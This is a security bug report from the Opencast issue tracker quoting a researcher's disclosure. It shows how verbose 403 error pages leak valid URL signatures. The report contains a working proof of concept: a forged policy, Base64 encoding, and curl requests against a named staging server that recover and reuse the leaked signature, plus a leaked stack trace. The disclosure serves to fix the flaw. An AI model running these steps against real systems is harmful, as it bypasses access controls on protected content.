Details

    • Type: Bug
    • Status: Resolved
    • Priority: Blocker
    • Resolution: Fixed and reviewed
    • Affects versions: 2.3.4, 3.3, 4.0
    • Fix versions: 2.3.5, 3.4, 4.0
    • Components: Backend Software
    • Labels:
      None
    • Severity:
      Security
    • Steps to reproduce:
      Hide
      Per Matthias Neugebauer on security@:

      Hi,

      I think I found a way to circumvent the stream security protection with the help of the current error messages. Let me demonstrate:

      Assumptions:

      The attacker has access to the following peaces of information:
      The unsigned URL (e.g. `https://electures-staging.uni-muenster.de/static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4`)
      The key ID that is used for this URL pattern (e.g. `ele-opencast-presentation`)
      These two data points can be extracted from [old / no longer valid] published signed URLs (e.g. a User posts them somewhere).

      Steps:

      1. Construct own policy string with custom date and own IP address:
         ```json
         {"Statement":{"Condition":{"DateLessThan":9999999999999,"IpAddress":"1.2.3.4"},"Resource":"https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4"}}
         ```

      2. Encode policy string as Base64:
         ```sh
         $ echo '{"Statement":{"Condition":{"DateLessThan":9999999999999,"IpAddress":"1.2.3.4"},"Resource":"https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4"}}' \
           | base64 -e \
           | tr -d "\\r\\n“
         eyJTdGF0ZW1lbnQiOnsiQ29uZGl0aW9uIjp7IkRhdGVMZXNzVGhhbiI6OTk5OTk5OTk5OTk5OSwiSXBBZGRyZXNzIjoiMS4yLjMuNCJ9LCJSZXNvdXJjZSI6Imh0dHBzOlwvXC9lbGVjdHVyZXMtc3RhZ2luZy51bmktbXVlbnN0ZXIuZGVcL3N0YXRpY1wvbWhfZGVmYXVsdF9vcmdcL2VuZ2FnZS1wbGF5ZXJcLzM3YjdlM2E0LThhMWItNDg0NC1iZTJjLWFlN2U1ZDYzMTM1NlwvOTQwNjQ3MGEtMmJjMC00YThlLWI5OWQtZWExM2ZkM2ZkMDA2XC9idW5ueS5tcDQifX0K
         ```

      3. Open the URL and pass in the encoded policy, the keyId, and a random signature:
         ```sh
         $ curl 'https://electures-staging.uni-muenster.de/static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4?policy=eyJTdGF0ZW1lbnQiOnsiQ29uZGl0aW9uIjp7IkRhdGVMZXNzVGhhbiI6OTk5OTk5OTk5OTk5OSwiSXBBZGRyZXNzIjoiMS4yLjMuNCJ9LCJSZXNvdXJjZSI6Imh0dHBzOlwvXC9lbGVjdHVyZXMtc3RhZ2luZy51bmktbXVlbnN0ZXIuZGVcL3N0YXRpY1wvbWhfZGVmYXVsdF9vcmdcL2VuZ2FnZS1wbGF5ZXJcLzM3YjdlM2E0LThhMWItNDg0NC1iZTJjLWFlN2U1ZDYzMTM1NlwvOTQwNjQ3MGEtMmJjMC00YThlLWI5OWQtZWExM2ZkM2ZkMDA2XC9idW5ueS5tcDQifX0K&keyId=ele-opencast-presentation&signature=1234'
         <html>
         <head>
         <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
         <title>Error 403 Forbidden because policy and signature do not match. Policy: &apos;{&quot;Statement&quot;:{&quot;Condition&quot;:{&quot;DateLessThan&quot;:9999999999999,&quot;IpAddress&quot;:&quot;1.2.3.4&quot;},&quot;Resource&quot;:&quot;https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4&quot;}}&apos; created Signature from this policy &apos;a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100&apos; and query string Signature: &apos;1234&apos;.</title>
         </head>
         <body><h2>HTTP ERROR 403</h2>
         <p>Problem accessing /static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4. Reason:
         <pre> Forbidden because policy and signature do not match. Policy: &apos;{&quot;Statement&quot;:{&quot;Condition&quot;:{&quot;DateLessThan&quot;:9999999999999,&quot;IpAddress&quot;:&quot;1.2.3.4&quot;},&quot;Resource&quot;:&quot;https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4&quot;}}&apos; created Signature from this policy &apos;a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100&apos; and query string Signature: &apos;1234&apos;.</pre></p><hr><i><small>Powered by Jetty://&lt;/small&gt;&lt;/i&gt;&lt;hr/>

         </body>
         </html>
         ```

      4. We get an error that the passed signature is invalid and does not match the passed policy, but gladly we are presented with the valid signature (`a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100`) and can use it instead:
        ```sh
        $ curl -o bunny.mp4 'https://electures-staging.uni-muenster.de/static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4?policy=eyJTdGF0ZW1lbnQiOnsiQ29uZGl0aW9uIjp7IkRhdGVMZXNzVGhhbiI6OTk5OTk5OTk5OTk5OSwiSXBBZGRyZXNzIjoiMS4yLjMuNCJ9LCJSZXNvdXJjZSI6Imh0dHBzOlwvXC9lbGVjdHVyZXMtc3RhZ2luZy51bmktbXVlbnN0ZXIuZGVcL3N0YXRpY1wvbWhfZGVmYXVsdF9vcmdcL2VuZ2FnZS1wbGF5ZXJcLzM3YjdlM2E0LThhMWItNDg0NC1iZTJjLWFlN2U1ZDYzMTM1NlwvOTQwNjQ3MGEtMmJjMC00YThlLWI5OWQtZWExM2ZkM2ZkMDA2XC9idW5ueS5tcDQifX0K&keyId=ele-opencast-presentation&signature=a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100&#39;
         ```

      The atacker thus gets access to the protected file.

      Solution:

      Simple, do not leak information in case of an error. A possible patch is attached to this mail.

      By the way, during my tests I noticed that an error in the policy string results in a 500 response that includes the stack trace (see below). In my opinion this should be a 4xx and no stack trace should be returned. I have not further looked into it and I also did not yet create an issue for this.

      ```
      <html>
      <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
      <title>Error 500 Server Error</title>
      </head>
      <body><h2>HTTP ERROR 500</h2>
      <p>Problem accessing /static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4. Reason:
      <pre> Server Error</pre></p><h3>Caused by:</h3><pre>java.lang.NullPointerException
      at org.opencastproject.urlsigning.utils.PolicyUtils.fromJson(PolicyUtils.java:105)
      at org.opencastproject.urlsigning.utils.PolicyUtils.fromBase64EncodedPolicy(PolicyUtils.java:164)
      at org.opencastproject.urlsigning.utils.ResourceRequestUtil.resourceRequestFromQueryString(ResourceRequestUtil.java:244)
      at org.opencastproject.security.urlsigning.verifier.impl.UrlSigningVerifierImpl.verify(UrlSigningVerifierImpl.java:54)
      at org.opencastproject.security.urlsigning.filter.UrlSigningFilter.doFilter(UrlSigningFilter.java:123)
      at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
      at org.opencastproject.kernel.filter.proxy.TransparentProxyFilter.doFilter(TransparentProxyFilter.java:63)
      at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
      at org.opencastproject.kernel.security.RemoteUserAndOrganizationFilter.doFilter(RemoteUserAndOrganizationFilter.java:247)
      at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
      at org.opencastproject.kernel.rest.CurrentJobFilter.doFilter(CurrentJobFilter.java:87)
      at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:330)
      at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:118)
      at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:84)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.opencastproject.kernel.security.AsyncTimeoutRedirectFilter.doFilter(AsyncTimeoutRedirectFilter.java:60)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:113)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:103)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:113)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.authentication.rememberme.RememberMeAuthenticationFilter.doFilter(RememberMeAuthenticationFilter.java:139)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:54)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:45)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.web.filter.CompositeFilter$VirtualFilterChain.doFilter(CompositeFilter.java:98)
      at org.springframework.security.oauth.provider.OAuthProviderProcessingFilter.doFilter(OAuthProviderProcessingFilter.java:173)
      at org.springframework.web.filter.CompositeFilter$VirtualFilterChain.doFilter(CompositeFilter.java:102)
      at org.springframework.security.web.authentication.www.DigestAuthenticationFilter.doFilter(DigestAuthenticationFilter.java:115)
      at org.springframework.web.filter.CompositeFilter$VirtualFilterChain.doFilter(CompositeFilter.java:102)
      at org.springframework.web.filter.CompositeFilter.doFilter(CompositeFilter.java:82)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter.doFilter(DefaultLoginPageGeneratingFilter.java:91)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:183)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:105)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:87)
      at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
      at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:192)
      at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:160)
      at org.opencastproject.kernel.security.SecurityFilter.doFilter(SecurityFilter.java:124)
      at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
      at org.opencastproject.kernel.security.OrganizationFilter.doFilter(OrganizationFilter.java:135)
      at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
      at org.opencastproject.kernel.filter.https.HttpsFilter.doFilter(HttpsFilter.java:64)
      at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
      at org.opencastproject.kernel.rest.CleanSessionsFilter.doFilter(CleanSessionsFilter.java:89)
      at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
      at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:585)
      at org.ops4j.pax.web.service.jetty.internal.HttpServiceServletHandler.doHandle(HttpServiceServletHandler.java:71)
      at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
      at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:577)
      at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:223)
      at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1127)
      at org.ops4j.pax.web.service.jetty.internal.HttpServiceContext.doHandle(HttpServiceContext.java:287)
      at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:515)
      at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185)
      at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1061)
      at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
      at org.ops4j.pax.web.service.jetty.internal.JettyServerHandlerCollection.handle(JettyServerHandlerCollection.java:80)
      at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:97)
      at org.eclipse.jetty.server.Server.handle(Server.java:499)
      at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:311)
      at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:257)
      at org.eclipse.jetty.io.AbstractConnection$2.run(AbstractConnection.java:544)
      at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:635)
      at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:555)
      at java.lang.Thread.run(Thread.java:745)
      </pre>
      <hr><i><small>Powered by Jetty://&lt;/small&gt;&lt;/i&gt;&lt;hr/>

      </body>
      </html>
      ```

      Affected Versions:

      As far as I can tell all with stream security support, i.e. from 2.2.0 to develop.

      Best regards,
      Matthias Neugebauer
      Show
      Per Matthias Neugebauer on security@: Hi, I think I found a way to circumvent the stream security protection with the help of the current error messages. Let me demonstrate: Assumptions: The attacker has access to the following peaces of information: The unsigned URL (e.g. ` https://electures-staging.uni-muenster.de/static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4 `) The key ID that is used for this URL pattern (e.g. `ele-opencast-presentation`) These two data points can be extracted from [old / no longer valid] published signed URLs (e.g. a User posts them somewhere). Steps: 1. Construct own policy string with custom date and own IP address:    ```json    {"Statement":{"Condition":{"DateLessThan":9999999999999,"IpAddress":"1.2.3.4"},"Resource":"https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4"}}    ``` 2. Encode policy string as Base64:    ```sh    $ echo '{"Statement":{"Condition":{"DateLessThan":9999999999999,"IpAddress":"1.2.3.4"},"Resource":"https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4"}}' \      | base64 -e \      | tr -d "\\r\\n“    eyJTdGF0ZW1lbnQiOnsiQ29uZGl0aW9uIjp7IkRhdGVMZXNzVGhhbiI6OTk5OTk5OTk5OTk5OSwiSXBBZGRyZXNzIjoiMS4yLjMuNCJ9LCJSZXNvdXJjZSI6Imh0dHBzOlwvXC9lbGVjdHVyZXMtc3RhZ2luZy51bmktbXVlbnN0ZXIuZGVcL3N0YXRpY1wvbWhfZGVmYXVsdF9vcmdcL2VuZ2FnZS1wbGF5ZXJcLzM3YjdlM2E0LThhMWItNDg0NC1iZTJjLWFlN2U1ZDYzMTM1NlwvOTQwNjQ3MGEtMmJjMC00YThlLWI5OWQtZWExM2ZkM2ZkMDA2XC9idW5ueS5tcDQifX0K    ``` 3. Open the URL and pass in the encoded policy, the keyId, and a random signature:    ```sh    $ curl ' https://electures-staging.uni-muenster.de/static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4?policy=eyJTdGF0ZW1lbnQiOnsiQ29uZGl0aW9uIjp7IkRhdGVMZXNzVGhhbiI6OTk5OTk5OTk5OTk5OSwiSXBBZGRyZXNzIjoiMS4yLjMuNCJ9LCJSZXNvdXJjZSI6Imh0dHBzOlwvXC9lbGVjdHVyZXMtc3RhZ2luZy51bmktbXVlbnN0ZXIuZGVcL3N0YXRpY1wvbWhfZGVmYXVsdF9vcmdcL2VuZ2FnZS1wbGF5ZXJcLzM3YjdlM2E0LThhMWItNDg0NC1iZTJjLWFlN2U1ZDYzMTM1NlwvOTQwNjQ3MGEtMmJjMC00YThlLWI5OWQtZWExM2ZkM2ZkMDA2XC9idW5ueS5tcDQifX0K&keyId=ele-opencast-presentation&signature=1234&#39;    <html>    <head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>    <title>Error 403 Forbidden because policy and signature do not match. Policy: &apos;{&quot;Statement&quot;:{&quot;Condition&quot;:{&quot;DateLessThan&quot;:9999999999999,&quot;IpAddress&quot;:&quot;1.2.3.4&quot;},&quot;Resource&quot;:&quot;https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4&quot;}}&apos; created Signature from this policy &apos;a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100&apos; and query string Signature: &apos;1234&apos;.</title>    </head>    <body><h2>HTTP ERROR 403</h2>    <p>Problem accessing /static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4. Reason:    <pre> Forbidden because policy and signature do not match. Policy: &apos;{&quot;Statement&quot;:{&quot;Condition&quot;:{&quot;DateLessThan&quot;:9999999999999,&quot;IpAddress&quot;:&quot;1.2.3.4&quot;},&quot;Resource&quot;:&quot;https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4&quot;}}&apos; created Signature from this policy &apos;a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100&apos; and query string Signature: &apos;1234&apos;.</pre></p><hr><i><small>Powered by Jetty://&lt;/small&gt;&lt;/i&gt;&lt;hr/ >    </body>    </html>    ``` 4. We get an error that the passed signature is invalid and does not match the passed policy, but gladly we are presented with the valid signature (`a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100`) and can use it instead:   ```sh   $ curl -o bunny.mp4 ' https://electures-staging.uni-muenster.de/static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4?policy=eyJTdGF0ZW1lbnQiOnsiQ29uZGl0aW9uIjp7IkRhdGVMZXNzVGhhbiI6OTk5OTk5OTk5OTk5OSwiSXBBZGRyZXNzIjoiMS4yLjMuNCJ9LCJSZXNvdXJjZSI6Imh0dHBzOlwvXC9lbGVjdHVyZXMtc3RhZ2luZy51bmktbXVlbnN0ZXIuZGVcL3N0YXRpY1wvbWhfZGVmYXVsdF9vcmdcL2VuZ2FnZS1wbGF5ZXJcLzM3YjdlM2E0LThhMWItNDg0NC1iZTJjLWFlN2U1ZDYzMTM1NlwvOTQwNjQ3MGEtMmJjMC00YThlLWI5OWQtZWExM2ZkM2ZkMDA2XC9idW5ueS5tcDQifX0K&keyId=ele-opencast-presentation&signature=a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100&#39;    ``` The atacker thus gets access to the protected file. Solution: Simple, do not leak information in case of an error. A possible patch is attached to this mail. By the way, during my tests I noticed that an error in the policy string results in a 500 response that includes the stack trace (see below). In my opinion this should be a 4xx and no stack trace should be returned. I have not further looked into it and I also did not yet create an issue for this. ``` <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <title>Error 500 Server Error</title> </head> <body><h2>HTTP ERROR 500</h2> <p>Problem accessing /static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4. Reason: <pre> Server Error</pre></p><h3>Caused by:</h3><pre>java.lang.NullPointerException at org.opencastproject.urlsigning.utils.PolicyUtils.fromJson(PolicyUtils.java:105) at org.opencastproject.urlsigning.utils.PolicyUtils.fromBase64EncodedPolicy(PolicyUtils.java:164) at org.opencastproject.urlsigning.utils.ResourceRequestUtil.resourceRequestFromQueryString(ResourceRequestUtil.java:244) at org.opencastproject.security.urlsigning.verifier.impl.UrlSigningVerifierImpl.verify(UrlSigningVerifierImpl.java:54) at org.opencastproject.security.urlsigning.filter.UrlSigningFilter.doFilter(UrlSigningFilter.java:123) at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652) at org.opencastproject.kernel.filter.proxy.TransparentProxyFilter.doFilter(TransparentProxyFilter.java:63) at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652) at org.opencastproject.kernel.security.RemoteUserAndOrganizationFilter.doFilter(RemoteUserAndOrganizationFilter.java:247) at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652) at org.opencastproject.kernel.rest.CurrentJobFilter.doFilter(CurrentJobFilter.java:87) at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:330) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:118) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:84) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.opencastproject.kernel.security.AsyncTimeoutRedirectFilter.doFilter(AsyncTimeoutRedirectFilter.java:60) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:113) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:103) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:113) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.authentication.rememberme.RememberMeAuthenticationFilter.doFilter(RememberMeAuthenticationFilter.java:139) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:54) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:45) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.web.filter.CompositeFilter$VirtualFilterChain.doFilter(CompositeFilter.java:98) at org.springframework.security.oauth.provider.OAuthProviderProcessingFilter.doFilter(OAuthProviderProcessingFilter.java:173) at org.springframework.web.filter.CompositeFilter$VirtualFilterChain.doFilter(CompositeFilter.java:102) at org.springframework.security.web.authentication. www.DigestAuthenticationFilter.doFilter(DigestAuthenticationFilter.java:115) at org.springframework.web.filter.CompositeFilter$VirtualFilterChain.doFilter(CompositeFilter.java:102) at org.springframework.web.filter.CompositeFilter.doFilter(CompositeFilter.java:82) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter.doFilter(DefaultLoginPageGeneratingFilter.java:91) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:183) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:105) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:87) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:192) at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:160) at org.opencastproject.kernel.security.SecurityFilter.doFilter(SecurityFilter.java:124) at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652) at org.opencastproject.kernel.security.OrganizationFilter.doFilter(OrganizationFilter.java:135) at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652) at org.opencastproject.kernel.filter.https.HttpsFilter.doFilter(HttpsFilter.java:64) at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652) at org.opencastproject.kernel.rest.CleanSessionsFilter.doFilter(CleanSessionsFilter.java:89) at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652) at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:585) at org.ops4j.pax.web.service.jetty.internal.HttpServiceServletHandler.doHandle(HttpServiceServletHandler.java:71) at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143) at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:577) at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:223) at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1127) at org.ops4j.pax.web.service.jetty.internal.HttpServiceContext.doHandle(HttpServiceContext.java:287) at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:515) at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185) at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1061) at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141) at org.ops4j.pax.web.service.jetty.internal.JettyServerHandlerCollection.handle(JettyServerHandlerCollection.java:80) at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:97) at org.eclipse.jetty.server.Server.handle(Server.java:499) at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:311) at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:257) at org.eclipse.jetty.io.AbstractConnection$2.run(AbstractConnection.java:544) at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:635) at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:555) at java.lang.Thread.run(Thread.java:745) </pre> <hr><i><small>Powered by Jetty://&lt;/small&gt;&lt;/i&gt;&lt;hr/ > </body> </html> ``` Affected Versions: As far as I can tell all with stream security support, i.e. from 2.2.0 to develop. Best regards, Matthias Neugebauer

      TestRail: Results

        Attachments

          Activity

            People

            • Assignee:
              greg_logan Greg Logan
              Reporter:
              greg_logan Greg Logan
            • Watchers:
              1 Start watching this issue

              Dates

              • Created:
                Updated:
                Resolved:

                TestRail: Cases